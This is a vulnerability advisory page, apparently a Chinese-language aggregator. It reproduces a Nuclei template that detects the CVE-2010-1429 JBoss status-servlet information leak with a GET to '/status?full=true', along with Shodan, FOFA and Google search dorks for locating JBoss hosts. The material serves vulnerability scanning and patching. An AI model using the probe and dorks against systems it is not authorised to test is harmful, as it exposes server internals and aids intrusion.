CVE-2010-1429: Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure

日期: 2025-08-01 | 影响软件: Red Hat JBoss Enterprise Application Platform | POC: 已公开

漏洞描述

Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.

PoC代码[已公开]

id: CVE-2010-1429

info:
  name: Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure
  author: R12W4N
  severity: medium
  description: |
    Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Apply the necessary patches or updates provided by Red Hat to fix the vulnerability.
  reference:
    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
    - http://marc.info/?l=bugtraq&m=132698550418872&w=2
    - http://securitytracker.com/id?1023918
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1429
    cwe-id: CWE-264
    epss-score: 0.21185
    epss-percentile: 0.95472
    cpe: cpe:2.3:a:redhat:jboss_enterprise_application_platform:*:cp08:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query:
      - title:"JBoss"
      - cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
      - http.title:"jboss"
    fofa-query: title="jboss"
    google-query: intitle:"jboss"
  tags: cve2010,cve,jboss,eap,tomcat,exposure,redhat

http:
  - method: GET
    path:
      - "{{BaseURL}}/status?full=true"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "JVM"
          - "memory"
          - "localhost/"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cec6de73eebb007b2b02ac949367e054d34149bd04f7baa41a0c4cb9f0fba171022100eaed2bddee18790193974eb9ceca2a5e31bbf5ed97e742c1f3f92322931873b6:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-1429.yaml

相关漏洞推荐